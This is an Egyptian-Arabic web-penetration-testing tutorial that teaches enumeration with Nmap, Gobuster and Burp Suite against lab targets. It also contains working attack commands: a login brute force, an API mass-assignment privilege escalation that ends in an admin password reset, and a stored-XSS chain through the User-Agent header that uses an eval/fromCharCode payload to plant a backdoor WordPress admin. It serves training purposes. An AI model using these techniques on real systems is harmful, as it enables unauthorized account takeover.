أطر العمل الحديثة وحلول الاستضافة بسّطت عملية بناء ونشر التطبيقات المبنية على الويب. لكن التطبيقات دي عادةً بتعرّض سطح هجوم كبير بسبب اعتماديات متعددة، إعدادات سيرفر غير آمنة، نقص نضج كود التطبيق، وعيوب تطبيقية خاصة بطبيعة العمل. تطبيقات الويب بتُكتب بلغات وأطر عمل متنوعة، وكل واحدة ممكن تقدّم أنواع محددة من الثغرات. لكن بما إن أشيع الثغرات متشابهة من ناحية المفهوم، هنقدر نتبع مسارات استغلال مشابهة بغض النظر عن الـ stack التقني الأساسي.
فهم متطلبات اختبار أمان تطبيقات الويب | تعلّم الأنواع والمنهجيات المختلفة لاختبار تطبيقات الويب | التعرّف على OWASP Top 10 وأشيع ثغرات الويب
كمختبر اختراق، نقدر نقيّم تطبيق ويب باستخدام 3 طرق مختلفة، حسب نوع المعلومات المتاحة لنا، النطاق، وقواعد المهمة المحددة:
| النوع | الوصف |
|---|---|
| White-box Testing | سيناريوهات فيها وصول غير مقيَّد لكود المصدر بتاع التطبيق، البنية التحتية اللي شغّال عليها، ومستندات التصميم. بما إن النوع ده بيدّي رؤية شاملة أكتر للتطبيق، محتاج مهارات محددة لإيجاد ثغرات في كود المصدر (مراجعة الكود ومنطق التطبيق). الاختبار ده ممكن ياخد وقت أطول نسبةً لحجم قاعدة الكود |
| Black-box Testing (Zero-knowledge test) | مفيش معلومات عن التطبيق المستهدف، يعني ضروري إن المختبر يستثمر موارد كبيرة في مرحلة الـ enumeration. ده النهج المتّبع في معظم مهام bug bounty |
| Grey-box Testing | بيحصل لما بنتوفّر لنا معلومات محدودة عن نطاق الهدف، بما فيها طرق التوثيق، بيانات اعتماد، أو تفاصيل عن الـ framework |
في الموديول ده والموديولات الجاية، هنستكشف enumeration واستغلال ثغرات تطبيقات الويب. رغم إن تعقيد الثغرات والهجمات بيختلف، هنوضّح استغلال عدة ثغرات ويب شائعة في قائمة OWASP Top 10.
مؤسسة OWASP بتهدف لتحسين أمان السوفت وير عالميًا، وكجزء من الهدف ده، بيطوّروا OWASP Top 10، قائمة مُجمَّعة بشكل دوري بأخطر المخاطر الأمنية لتطبيقات الويب. فهم متجهات الهجوم دي هيبقى لبنات البناء الأساسية لتركيب هجمات أكتر تقدمًا هنتعلمها في موديولات تانية.
تنفيذ تقنيات enumeration شائعة على تطبيقات الويب | فهم نظرية الـ Web Proxies | تعلّم إزاي Burp Suite proxy بيشتغل لاختبار تطبيقات الويب
قبل ما ندخل في تفاصيل enumeration تطبيقات الويب، خلّينا نتعرّف على أدوات الصنعة. في الوحدة دي، هنرجع لـ Nmap لـ enumeration خدمات الويب، مع Wappalyzer، خدمة أونلاين بتكشف الـ stack التقني ورا تطبيق، وGobuster، أداة لاكتشاف الملفات والمجلدات على الويب.
زي ما اتغطّى في موديول سابق، Nmap هو الأداة الأساسية للـ enumeration الفعّال الأولي. المفروض نبدأ enumeration تطبيق الويب من مكوّنه الأساسي، سيرفر الويب، بما إن ده القاسم المشترك لأي تطبيق ويب بيعرض خدماته.
# بعد ما لقينا بورت 80 مفتوح، نبدأ باكتشاف الخدمة
nmap -sV -p80 target_ip
# بعدين نستخدم سكربت NSE خاص بالخدمة للـ fingerprinting الأولي
nmap --script http-enum -p80 target_ip
بالإضافة لجمع المعلومات الفعّال اللي عملناه عبر Nmap، نقدر كمان نجيب بشكل سلبي ثروة من المعلومات عن الـ stack التقني للتطبيق عبر Wappalyzer. بعد عمل حساب مجاني، نقدر ننفّذ Technology Lookup على نطاق الهدف (مثلًا megacorpone.com).
من التحليل الخارجي السريع من طرف ثالث ده، نتعرّف على نظام التشغيل، UI framework، سيرفر الويب، وأكتر. النتائج كمان بتوفّر معلومات عن مكتبات JavaScript المستخدَمة — دي بيانات قيّمة، لأن بعض إصدارات مكتبات JavaScript معروفة إنها متأثرة بثغرات عديدة.
بمجرد ما اكتشفنا تطبيق شغّال على سيرفر ويب، الخطوة الجاية هي رسم خريطة لكل الملفات والمجلدات المتاحة للعامة. Gobuster (مكتوبة بلغة Go) أداة بتساعدنا في النوع ده من الـ enumeration باستخدام wordlists لاكتشاف المجلدات والملفات عن طريق brute forcing.
بسبب طبيعتها المعتمدة على brute forcing، Gobuster ممكن تولّد ترافيك كتير، يعني مش هتكون مفيدة لما نحتاج نفضل تحت الرادار.
Gobuster بتدعم أوضاع enumeration مختلفة، بما فيها fuzz وdns، لكن دلوقتي هنعتمد بس على وضع dir، اللي بيعدّد الملفات والمجلدات:
gobuster dir -u http://target_ip -w /path/to/wordlist.txt -t 20
-u لتحديد الـ IP المستهدف-w لتحديد الـ wordlist-t لتحديد عدد الـ threads (الافتراضي 10؛ نقدر نقلل الترافيك بتحديد رقم أقل)Burp Suite منصة متكاملة مبنية على GUI لاختبار أمان تطبيقات الويب، بتوفّر أدوات متعددة عبر نفس الواجهة. بينما الإصدار المجاني Community Edition بيحتوي أساسًا أدوات للاختبار اليدوي، النسخ التجارية بتشمل ميزات إضافية، بما فيها ماسح ثغرات تطبيقات ويب قوي.
نلاقي Burp Suite Community Edition في Kali تحت Applications > 03 Web Application Analysis > burpsuite.
بشكل عام، الـ web proxy هو أي هاردوير أو سوفت وير مخصَّص مُصمَّم لاعتراض الطلبات و/أو الردود بين عميل الويب وسيرفر الويب. ده بيسمح للمسؤولين والمختبرين على حد سواء بتعديل أي طلبات اتعترضت، يدويًا وآليًا.
إعداد Firefox يستخدم Burp Suite كـ proxy:
about:preferences#general127.0.0.1 وبورت 8080 (لو الـ proxy والمتصفح على نفس الجهاز)في بعض سيناريوهات الاختبار، ممكن نحتاج نلتقط ترافيك من أجهزة متعددة، فالـ proxy هيتضبط على IP مستقل، وهنعدّل المتصفح بالـ IP الخارجي للـ proxy.
أداة Intruder في Burp مصمَّمة لأتمتة مجموعة متنوعة من زوايا الهجوم، من الأبسط لأكتر تعقيدًا. خلّينا نحاكي هجوم brute force على باسورد.
الخطوات:
http://offsecwp/wp-login.php من Firefox، وندخل admin كاسم مستخدم وtest كباسورد، ونضغط Log inProxy > HTTP History، كليك يمين على طلب الـ POST لـ /wp-login.php، ونختار Send to Intruderadmin صحيح، محتاجين بس نعمل brute force لحقل الباسورد — نضغط Clear عشان نشيل كل الحقول المُعلَّمة، بعدين نحدد قيمة الـ pwd ونضغط Addrockyou.txt)# مثال من نتيجة الهجوم:
Request #4 → Status Code مختلف عن باقي الطلبات
→ ده مؤشّر على إن الباسورد في الطلب ده صحيح
بعد ما الهجوم يخلص، هنلاحظ إن طلب معين (مثلًا الرابع) رجّع كود حالة مختلف — ده بيلمّح إن ممكن يكون ده الباسورد الصحيح. الفرضية دي بتتأكّد لما نجرّب ندخل بنفس الباسورد المكتشَف فعليًا.
تعلّم إزاي تعمل debug لكود مصدر تطبيق ويب | فهم إزاي تعدّ وتفحص الـ Headers، الـ Cookies، وكود المصدر | تعلّم منهجيات اختبار APIs
في موديول سابق، اتعلّمنا إزاي جمع المعلومات السلبي يقدر يلعب دور حاسم في رسم خريطة تطبيقات الويب، خاصةً لما مستودعات عامة أو Google dorks بتكشف معلومات حساسة عن هدفنا. سواء بنتعامل مع اعتمادات مسرَّبة أو مجرد توثيق تطبيق، المفروض دايمًا نرجع للمعلومة اللي اتجمعت سلبيًا أثناء الاختبار الفعّال، لأنها ممكن توجّهنا لمسارات مش مستكشَفة.
مهم نحدد المكونات اللي بتشكّل تطبيق ويب قبل محاولة استغلاله بشكل أعمى. كتير من ثغرات تطبيقات الويب مش مرتبطة بتقنية محددة، لكن بعض الاستغلالات والـ payloads لازم تُصاغ بناءً على الأساس التقني للتطبيق، زي سوفت وير قاعدة البيانات أو نظام التشغيل.
مكان جيد نبدأ منه رسم خريطة معلومات تطبيق الويب هو عنوان الـ URL. امتدادات الملفات، اللي أحيانًا بتكون جزء من الـ URL، ممكن تكشف لغة البرمجة اللي التطبيق اتكتب بيها. بعض الامتدادات، زي .php، واضحة، لكن تانية أكتر غموضًا وبتختلف حسب الـ framework المستخدَم (تطبيق Java ممكن يستخدم .jsp، .do، أو .html).
امتدادات الملفات على صفحات الويب بقت أقل شيوعًا، بما إن كتير من اللغات والـ frameworks دلوقتي بتدعم مفهوم الـ routes، اللي بيسمح للمطورين يربطوا URI بجزء من الكود — التطبيقات اللي بتستخدم routes بتخلّي امتدادات الـ URI غير ذات صلة إلى حد كبير.
أداة Firefox Debugger (موجودة في قايمة Web Developer) بتعرض موارد ومحتوى الصفحة. أداة الـ Debugger ممكن تعرض JavaScript frameworks، حقول مدخلات مخفية، تعليقات، ضوابط client-side جوه HTML، JavaScript، وأكتر كتير.
مثال: لو لاحظنا إن التطبيق بيستخدم jQuery إصدار 3.6.0 (مكتبة JavaScript شائعة)، وكان الكود مُصغَّر (minified) — نقدر "نجمّله" (prettify) في Firefox بالضغط على زرار Pretty print source (أيقونة الأقواس المجعَّدة المزدوجة)، وده هيعرض الكود بشكل أسهل للقراءة والمتابعة.
أداة Inspector كمان تقدر نستخدمها للتعمّق في محتوى صفحة محدد — كليك يمين على عنصر في الصفحة واختيار Inspect هيفتح الأداة ويظلّل كود الـ HTML الخاص بالعنصر ده.
نقدر كمان نفحص ردود السيرفر بحثًا عن معلومات إضافية. فيه نوعين من الأدوات لده: proxy (زي Burp Suite) بيعترض الطلبات والردود بين عميل وسيرفر، أو أداة Network بتاعة المتصفح نفسه.
أداة Network بتعرض نشاط الشبكة اللي بيحصل بعد تشغيلها، يعني لازم نريفريش الصفحة عشان نشوف الترافيك.
Response Headers هي مجموعة فرعية من HTTP headers بتتبعت كرد على طلب HTTP. رأس Server عادةً بيكشف على الأقل اسم سوفت وير سيرفر الويب — في كتير من الإعدادات الافتراضية، كمان بيكشف رقم الإصدار.
رؤوس HTTP مش دايمًا بتتولّد بس من سيرفر الويب — مثلًا، web proxies بتضيف فعليًا رأس X-Forwarded-For عشان توضّح لسيرفر الويب عنوان IP العميل الأصلي.
تاريخيًا، الرؤوس اللي بتبدأ بـ "X-" كانت بتُسمّى رؤوس HTTP غير قياسية. لكن RFC 6648 دلوقتي بيلغي استخدام "X-" لصالح اتفاقية تسمية أوضح.
أسماء أو قيم رؤوس الاستجابة غالبًا بتكشف معلومات إضافية عن الـ stack التقني للتطبيق. بعض أمثلة الرؤوس غير القياسية: X-Powered-By، x-amz-cf-id، وX-Aspnet-Version. بحث أعمق في الأسماء دي ممكن يكشف معلومات إضافية — مثلًا، رأس x-amz-cf-id بيشير إن التطبيق بيستخدم Amazon CloudFront.
Sitemaps عنصر مهم تاني المفروض ناخده في الاعتبار أثناء enumeration تطبيقات الويب. تطبيقات الويب ممكن تشمل ملفات sitemap عشان تساعد بوتات محركات البحث تزحف وتفهرس مواقعها. الملفات دي كمان بتشمل توجيهات بأنهي URLs ماينفعش تُزحف — غالبًا صفحات حساسة أو وحدات تحكم إدارية، بالظبط نوع الصفحات اللي إحنا مهتمين بيها.
# مثال: استرجاع robots.txt من موقع
curl https://www.google.com/robots.txt
Allow وDisallow توجيهات لزواحف الويب بتوضّح أنهي صفحات أو مجلدات الزواحف "المؤدَّبة" يقدروا أو ما يقدروش يوصلوا ليها. في معظم الحالات، الصفحات والمجلدات المدرَجة ممكن ماتكونش مثيرة، وبعضها ممكن يكون حتى غير صالح. مع كده، ملفات sitemap مايجبش نتجاهلها لأنها ممكن تحتوي أدلة عن تخطيط الموقع أو معلومات مثيرة تانية، زي أجزاء من الهدف لسه ما اتستكشفتش.
في حالات كتيرة، هدف اختبار الاختراق بيكون تطبيق ويب مبني داخليًا، كود مغلق، بيشحن مع عدد من APIs. الـ APIs دي مسؤولة عن التفاعل مع منطق الـ backend وتوفير دعامة أساسية من الوظائف للتطبيق.
نوع محدد من الـ API اسمه REST (Representational State Transfer) بيُستخدم لأغراض متنوعة، بما فيها التوثيق.
في سيناريو white-box نموذجي، هنستلم توثيق كامل للـ API يساعدنا نرسم خريطة كاملة لسطح الهجوم. لكن في black-box test، هنحتاج نكتشف الـ API بتاع الهدف بنفسنا.
الخطوة 1 — Brute Force لمسارات الـ API:
نقدر نستخدم ميزات Gobuster لعمل brute force لنقاط نهاية الـ API. السيناريو: API gateway على 192.168.50.16:5001.
مسارات الـ API غالبًا متبوعة برقم إصدار، بنمط زي /<api_name>/v<version>. نقدر نجرّب brute force لمسارات الـ API باستخدام wordlist مع ميزة الـ pattern بتاعة Gobuster (الخيار -p):
# ملف pattern (patterns.txt) يحتوي:
{GOBUSTER}/v1
{GOBUSTER}/v2
gobuster dir -u http://192.168.50.16:5001 -w wordlist.txt -p patterns.txt
النتيجة كشفت نقطتين مثيرتين: /books/v1 و/users/v1.
لو تصفحنا مسار /ui، هنلاقي توثيق الـ API كامل — ده شائع في white-box testing، لكن مش ترف عادةً متاح في black-box test.
الخطوة 2 — اكتشاف حسابات مستخدمين:
التطبيق رجّع 3 حسابات مستخدمين، بما فيهم حساب إداري يستاهل تحقيق إضافي. نقدر نستخدم المعلومة دي لمحاولة brute force تاني بـ gobuster، المرة دي مستهدفين اسم المستخدم admin بـ wordlist أصغر، بتمديد مسار الـ API بإدراج اسم المستخدم admin في الآخر.
الخطوة 3 — استكشاف مسار الباسورد:
curl -X GET http://192.168.50.16:5001/users/v1/admin/password
# → 405 METHOD NOT ALLOWED
بدل 404 Not Found، استلمنا 405 METHOD NOT ALLOWED، يعني الـ URL المطلوب موجود فعلًا، لكن طريقة HTTP بتاعتنا مش مدعومة. curl افتراضيًا بيستخدم GET، فنقدر نجرّب نتفاعل مع API الباسورد بطريقة تانية زي POST أو PUT. الطريقتين دول، لو مسموح بيهم، ممكن يسمحوا لنا نتجاوز بيانات اعتماد المستخدم (باسورد الـ admin في الحالة دي).
الخطوة 4 — التحقق من مسار login:
curl -X GET http://192.168.50.16:5001/users/v1/login
# → 404 NOT FOUND, لكن الرسالة: "user not found" (مش path not found)
رغم رسالة 404، نص الرسالة بيقول إن المستخدم مش موجود — إشارة واضحة تانية إن الـ API نفسه موجود، وإحنا محتاجين بس نلاقي الطريقة الصح للتفاعل معاه.
curl -X POST http://192.168.50.16:5001/users/v1/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"dummy"}'
# → "authentication failed" (يعني الباراميترات متشكَّلة صح)
الخطوة 5 — تسجيل مستخدم جديد واستغلال ثغرة منطقية:
بما إننا مش عارفين باسورد admin، نجرّب مسار تاني ونشوف إذا كنا نقدر نسجّل مستخدم جديد:
curl -X POST http://192.168.50.16:5001/users/v1/register \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Password123"}'
# → fail: "email required"
الـ API ردّ برسالة فشل بتقول إننا لازم نضيف عنوان إيميل. نستغل الفرصة دي عشان نحدد لو فيه مفتاح إداري ممكن نسيء استخدامه — نضيف مفتاح admin بقيمة True:
curl -X POST http://192.168.50.16:5001/users/v1/register \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Password123","email":"a@a.com","admin":true}'
نجحنا نسجّل دخول صح واسترجعنا JWT authentication token.
الخطوة 6 — تأكيد الاستيلاء على الحساب:
عشان نحصل على دليل ملموس إننا مستخدم إداري، نستخدم الـ token ده عشان نغيّر باسورد المستخدم admin، بصياغة طلب POST يستهدف API الباسورد:
curl -X POST http://192.168.50.16:5001/users/v1/admin/password \
-H "Authorization: Bearer <JWT_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"password":"NewAdminPass123"}'
# → "incorrect method"
للأسف، التطبيق بيقول إن الطريقة المستخدَمة غلط. طريقة PUT (مع PATCH) غالبًا بتُستخدم لاستبدال قيمة بدل إنشائها عبر POST، فنجرّب نحددها صراحةً:
curl -X PUT http://192.168.50.16:5001/users/v1/admin/password \
-H "Authorization: Bearer <JWT_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"password":"NewAdminPass123"}'
# → مفيش رسالة خطأ
المرة دي ملقيناش رسالة خطأ، فنقدر نفترض إن منطق الـ backend ما رفضش العملية. عشان نثبت إن الهجوم نجح، نجرّب ندخل كـ admin بالباسورد الجديد:
curl -X POST http://192.168.50.16:5001/users/v1/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"NewAdminPass123"}'
# → تسجيل دخول ناجح!
نجحنا نستولي على حساب admin باستغلال bug منطقي في تصعيد الصلاحيات موجود في API التسجيل. أخطاء برمجية من النوع ده بتحصل بدرجات متفاوتة عند بناء تطبيقات ويب بتعتمد على APIs مخصَّصة، غالبًا بسبب نقص الاختبار وممارسات البرمجة الآمنة.
الاعتماد على curl يدويًا مش هيتوسّع كويس لما عدد الـ APIs يكبر. نقدر نعيد بناء كل الخطوات اللي فاتت من جوه Burp بإضافة --proxy 127.0.0.1:8080 لأمر curl. بعد كده، من تبويب Repeater بتاع Burp، نقدر ننشئ طلب فاضي جديد ونملاه بنفس البيانات.
من Burp's Site map (تبويب
Target > Site map)، نقدر نتابع الـ APIs اللي اكتشفناها ونمرّر أي طلب محفوظ لـ Repeater أو Intruder لاختبار إضافي.
فهم أنواع ثغرة Cross-Site Scripting | استغلال XSS أساسي | تنفيذ تصعيد صلاحيات عبر XSS
واحدة من أهم خصائص تطبيق ويب محمي كويس هي data sanitization — عملية بتتم فيها معالجة مدخل المستخدم بحيث كل الحروف أو النصوص الخطيرة بتتشال أو تتحوّل. بيانات غير منقّاة بتسمح للمهاجم يحقن، وربما ينفّذ، كود خبيث.
Cross-Site Scripting (XSS) هي ثغرة بتستغل ثقة المستخدم في موقع عن طريق حقن محتوى ديناميكي في الصفحة اللي متصفح المستخدم بيعرضها.
| النوع | الوصف |
|---|---|
| Stored XSS (Persistent XSS) | الـ payload بيتخزّن في قاعدة بيانات أو يتخزّن مؤقتًا عن طريق السيرفر. تطبيق الويب بعدين بيسترجع الـ payload ده ويعرضه لأي حد بيزور صفحة عرضة للخطر. ثغرة Stored XSS واحدة ممكن تهاجم كل مستخدمي الموقع. شائعة في سوفت وير المنتديات، خاصةً أقسام التعليقات، مراجعات المنتجات، أو أي مكان محتوى المستخدم ممكن يتخزّن ويتراجع لاحقًا |
| Reflected XSS | الـ payload عادةً متضمَّن في طلب أو لينك مصمَّم. تطبيق الويب بياخد القيمة دي ويحطها في محتوى الصفحة. النوع ده بيهاجم بس الشخص اللي قدّم الطلب أو زار اللينك. شائعة في حقول ونتائج البحث، وأي مكان مدخل المستخدم بيتضمَّن في رسائل خطأ |
أي من النوعين دول ممكن يظهر على جانب العميل (المتصفح) أو السيرفر؛ كمان ممكن تكون DOM-based.
DOM-based XSS بتحصل حصريًا جوه Document Object Model (DOM) بتاع الصفحة. المتصفحات بتحلّل محتوى HTML الخاص بالصفحة وبتولّد تمثيل DOM داخلي. النوع ده من XSS بيحصل لما DOM الصفحة بيتعدّل بقيم يتحكم فيها المستخدم. ممكن تكون مخزَّنة أو reflected؛ المفتاح هو إن هجمات DOM-based XSS بتحصل لما المتصفح بيحلّل محتوى الصفحة وJavaScript المحقون بيتنفّذ.
بغض النظر عن إزاي الـ XSS payload بيتوصّل وينفّذ، السكربتات المحقونة بتشتغل جوه سياق المستخدم اللي بيزور الصفحة المتأثرة — يعني متصفح المستخدم، مش تطبيق الويب، هو اللي بينفّذ الـ XSS payload.
JavaScript لغة برمجة عالية المستوى بقت واحدة من المكونات الأساسية لتطبيقات الويب الحديثة. لما المتصفح بيعالج استجابة HTTP من السيرفر فيها HTML، المتصفح بينشئ شجرة DOM ويعرضها. الـ DOM بيتكوّن من كل الـ forms، inputs، صور...إلخ المرتبطة بصفحة الويب.
دور JavaScript هو الوصول وتعديل DOM الصفحة، مما ينتج تجربة مستخدم أكتر تفاعلية. من منظور المهاجم، ده كمان بيعني إنه لو قدرنا نحقن كود JavaScript في التطبيق، نقدر نوصل ونعدّل DOM الصفحة. بوصول للـ DOM، نقدر نحوّل نماذج تسجيل الدخول، نستخرج باسوردات، ونسرق session cookies.
نقدر نلاقي نقاط دخول محتملة لـ XSS بفحص تطبيق الويب وتحديد حقول مدخل (زي حقول البحث) بتقبل مدخل غير منقّى، وبعدين بيتعرض كخرج في صفحات لاحقة. بمجرد ما نحدد نقطة دخول، نقدر ندخل حروف خاصة ونراقب الخرج لنحدد إذا كان أي من الحروف الخاصة بيرجع من غير فلترة.
أشيع الحروف الخاصة المستخدَمة لهذا الغرض:
| الحرف | الاستخدام |
|---|---|
< و > | HTML بتستخدمهم لتحديد العناصر، المكونات المختلفة اللي بتشكّل مستند HTML |
{ و } | JavaScript بتستخدمهم في إعلانات الدوال |
' و " | بتستخدم لتحديد النصوص (strings) |
; | بتستخدم لتحديد نهاية جملة برمجية |
لو التطبيق ما شالش أو ما شفّرش الحروف دي، ممكن يكون عرضة لـ XSS لأن التطبيق بيفسّر الحروف كجزء من الكود، وده بدوره بيمكّن كود إضافي.
فيه أنواع ترميز متعددة، لكن أشيعها في تطبيقات الويب هم HTML encoding وURL encoding:
%20< هو character reference لـ <. لما المتصفح يقابل الترميز ده، مش هيفسّر الحرف كبداية عنصر، لكن هيعرض الحرف الفعلي زي ما هولو قدرنا نحقن الحروف الخاصة دي في الصفحة، المتصفح هيعاملها كعناصر كود. بعدين نقدر نبدأ نبني كود هينفّذ في متصفح الضحية بمجرد ما يحمّل كود JavaScript المحقون الخبيث.
ممكن نحتاج نستخدم مجموعات حروف مختلفة حسب مكان إدخالنا. مثلًا، لو مدخلنا بيتضاف بين
divtags، هنحتاج نضمّن<script>tags بتاعتنا الخاصة ونحتاج نقدر نحقن<و>كجزء من الـ payload. لو مدخلنا بيتضاف جوه<script>tag موجود أصلًا، ممكن نحتاج بس علامات اقتباس وفواصل منقوطة عشان نضيف كودنا.
السيناريو: تثبيت WordPress شغّال عليه plugin اسمه Visitors عرضة لـ stored XSS. الميزة الأساسية للـ plugin هي تسجيل بيانات زوار الموقع، بما فيها IP، المصدر، وحقل User-Agent.
الخطوة 1 — فحص الكود المصدري (white-box):
لو فحصنا ملف database.php بتاع الـ plugin، نلاقي دالة PHP مسؤولة عن تحليل رؤوس طلب HTTP مختلفة، بما فيها الـ User-Agent، اللي بيتخزّن في قيمة سجل useragent. كل مرة مدير WordPress بيحمّل لوحة تحكم الـ Visitors plugin، الكود في start.php بيسترجع قيمة سجل useragent من قاعدة البيانات ويُدخلها مباشرة جوه الـ HTML tag بتاع الجدول (td)، من غير أي نوع تنقية بيانات.
بما إن رأس User-Agent تحت تحكم المستخدم، نقدر نصمّم هجوم XSS بإدخال
<script>tag بينادي دالةalert()عشان نولّد رسالة pop-up — طريقة شائعة جدًا للتحقق إن التطبيق عرضة لـ XSS.
الخطوة 2 — تنفيذ الهجوم (black-box عبر Burp):
بـ Burp مضبوط كـ proxy والـ Intercept معطَّل، نبدأ بتصفح http://offsecwp/ بـ Firefox. بعدين، في Burp Proxy > HTTP History، كليك يمين على الطلب ونختار Send to Repeater.
في تبويب Repeater، نستبدل قيمة الـ User-Agent الافتراضية بـ:
<script>alert(42)</script>
ونبعت الطلب. لو السيرفر رد برسالة 200 OK، نقدر نكون واثقين إن الـ payload اتخزّن دلوقتي في قاعدة بيانات WordPress.
الخطوة 3 — التحقق من نجاح الحقن:
نسجّل دخول للوحة تحكم admin على http://offsecwp/wp-login.php بالاعتمادات admin/password. لما نروح للوحة تحكم الـ Visitors plugin، هنتقابل بـ pop-up banner بيعرض الرقم 42 — دليل إن حقن الكود بتاعنا نجح.
حقنّا XSS payload في قاعدة بيانات التطبيق، وهيتعرض لأي مدير بيحمّل الـ plugin. رسالة alert بسيطة مثال تافه نسبيًا لإيه اللي ممكن يتعمل بـ XSS، فخلّينا نجرّب حاجة أكتر إثارة، زي إنشاء حساب إداري جديد.
بما إننا دلوقتي قادرين نخزّن كود JavaScript جوه تطبيق WordPress المستهدَف وخليه ينفّذ من مستخدم admin لما يحمّل الصفحة، إحنا جاهزين نبقى أكتر إبداعًا ونستكشف طرق مختلفة للحصول على صلاحيات إدارية.
محاولة سرقة الكوكيز:
ممكن نستفيد من الـ XSS بتاعنا عشان نسرق كوكيز ومعلومات الجلسة لو التطبيق بيستخدم إعداد إدارة جلسة غير آمن. لو قدرنا نسرق كوكي مستخدم موثَّق، نقدر ننتحل شخصية المستخدم ده جوه الموقع المستهدف.
مواقع الويب بتستخدم كوكيز لتتبّع حالة ومعلومات المستخدمين. الكوكيز ممكن تتضبط بعلامات اختيارية، بما فيها اتنين مهمين جدًا لينا كمختبري اختراق:
| العلامة | الوظيفة |
|---|---|
| Secure | بتوجّه المتصفح إنه يبعت الكوكي بس عبر اتصالات مشفَّرة زي HTTPS — ده بيحمي الكوكي من إنها تتبعت كنص واضح وتتلقط على الشبكة |
| HttpOnly | بتوجّه المتصفح إنه يمنع وصول JavaScript للكوكي. لو العلامة دي مش متحددة، نقدر نستخدم XSS payload نسرق الكوكي |
بفحص كوكيز جلسة WordPress (عبر Web Developer Tools > Storage > Cookies)، لقينا 6 كوكيز مختلفة مخزَّنة، لكن 4 بس منهم session cookies. من الـ 4 دول، لو استبعدنا wordpress_test_cookie اللي مش مهم، كلهم بيدعموا ميزة HttpOnly.
بما إن كل كوكيز الجلسة بتتبعت عبر HTTP بس، للأسف مش ممكن نسترجعها عبر JavaScript من خلال متجه الهجوم بتاعنا. هنحتاج نلاقي زاوية جديدة.
لما الـ admin بيحمّل لوحة تحكم الـ Visitors plugin اللي فيها JavaScript المحقون، هيتنفّذ أي حاجة قدّمناها كـ payload — سواء alert pop-up أو دالة JavaScript أعقد. مثلًا، نقدر نصمّم دالة JavaScript بتضيف حساب إداري WordPress تاني، بحيث بمجرد ما الـ admin الحقيقي ينفّذ الكود المحقون، الدالة هتتنفّذ من وراه.
عشان ننجح في زاوية الهجوم دي، لازم نغطّي فئة هجوم تطبيق ويب تانية. أول حاجة، هنعمل دالة JS بتجيب الـ WordPress admin nonce.
الـ nonce هو توكِن بيتولّد من السيرفر ومتضمَّن في كل طلب HTTP عشان يضيف عشوائية ويمنع هجمات Cross-Site-Request-Forgery (CSRF).
هجوم CSRF بيحصل عبر social engineering، حيث الضحية بتدوس على لينك خبيث بينفّذ فعل مُعدّ مسبقًا نيابةً عن المستخدم. اللينك الخبيث ممكن يتخفّى بوصف ظاهريًا غير ضار، غالبًا بيجذب الضحية تدوس عليه. لو اللينك ده اتضمَّن جوه كود HTML في إيميل، المستخدم هيقدر يشوف بس وصف اللينك، مش المورد الفعلي اللي بيشير له. الهجوم ده هينجح لو المستخدم أصلًا مسجّل دخول بجلسة صالحة على نفس الموقع.
في حالتنا، بتضمين وفحص الـ nonce شبه العشوائي، WordPress بتمنع النوع ده من الهجوم، بما إن المهاجم مش هيكون عنده معرفة مسبقة بالتوكِن. لكن، زي ما هنوضّح، الـ nonce مش هيكون عقبة لثغرة الـ stored XSS اللي اكتشفناها في الـ plugin.
الخطوة 1 — جلب الـ nonce ديناميكيًا:
// الدالة بتبعت طلب HTTP جديد لـ /wp-admin/user-new.php
// وبتحفظ قيمة الـ nonce الموجودة في استجابة HTTP بناءً على regular expression
// النمط بيطابق أي قيمة alphanumeric محصورة بين النص /ser" value=" وعلامات اقتباس مزدوجة
الخطوة 2 — صياغة دالة إنشاء حساب admin جديد:
الدالة الأساسية بتستخدم الـ nonce اللي جبناه عشان تنشئ حساب admin backdoor جديد. لو الهجوم نجح، هنقدر نوصل لصلاحيات إدارية على تثبيت WordPress كامل.
الخطوة 3 — تصغير (minify) وترميز الـ payload:
عشان نضمن إن الـ JavaScript payload بتاعنا هيتعامل معاه Burp والتطبيق المستهدف صح، لازم أولًا نصغّره، بعدين نرمّزه:
# نستخدم JS Compress أو أداة مشابهة عشان نصغّر الكود لسطر واحد
كخطوة أخيرة، بنرمّز كود الـ JavaScript المُصغَّر، عشان أي حروف "سيئة" ما تتعارضش مع إرسال الـ payload:
function encode_to_javascript(str) {
let result = '';
for (let i = 0; i < str.length; i++) {
result += str.charCodeAt(i) + ',';
}
return result;
}
الدالة دي بتحلّل قيمة سلسلة الـ JS المصغَّرة، وبتحوّل كل حرف لكود UTF-16 integer المقابل باستخدام الدالة charCodeAt.
الخطوة 4 — فك الترميز والتنفيذ:
هنفكّ ترميز ونفّذ السلسلة المرمَّزة أولًا بفكها عبر دالة fromCharCode، بعدين تشغيلها عبر eval():
eval(String.fromCharCode(/* الكود المرمَّز هنا */));
الخطوة 5 — إطلاق الهجوم عبر curl وBurp:
بمجرد نسخ السلسلة المرمَّزة، نقدر ندخّلها في أمر curl ونطلق الهجوم:
curl -A "<script>eval(String.fromCharCode(...))</script>" \
--proxy 127.0.0.1:8080 \
-k http://offsecwp/
قبل ما نشغّل أمر الهجوم بـ curl، نبدأ Burp ونسيب Intercept مفعَّل. وجّهنا curl إنه يبعت طلب HTTP مصمَّم خصيصًا برأس User-Agent فيه الـ payload الخبيث بتاعنا، بعدين نمرّره لـ Burp عشان نفحصه أكتر.
بعد تشغيل أمر curl، نفحص الطلب في Burp — لو كل حاجة شكلها صح، نمرّر الطلب بالضغط على Forward، وبعدين نعطّل Intercept.
الخطوة 6 — التحقق من النجاح:
في النقطة دي، استغلال XSS بتاعنا المفروض يكون اتخزّن في قاعدة بيانات WordPress. محتاجين بس نحاكي التنفيذ بتسجيل دخول لـ OffSec WP instance كـ admin، بعدين الدوس على لوحة تحكم الـ Visitors plugin.
هنلاحظ إن إدخال واحد بس موجود، ومفيش User-Agent اتسجّل ظاهريًا — ده لأن حقل الـ User-Agent احتوى هجومنا مُضمَّن جوه
<script>tags، فالمتصفح مايقدرش يعرض أي نص منه. بتحميل إحصائيات الـ plugin، المفروض نكون نفّذنا السكربت الخبيث — نتحقق بالضغط على قايمة Users في اللوحة الشمال.لو حساب admin جديد ظهر في القايمة، يبقى نجحنا نصعّد صلاحياتنا من ثغرة stored XSS بسيطة لحساب إداري كامل جديد على التطبيق.
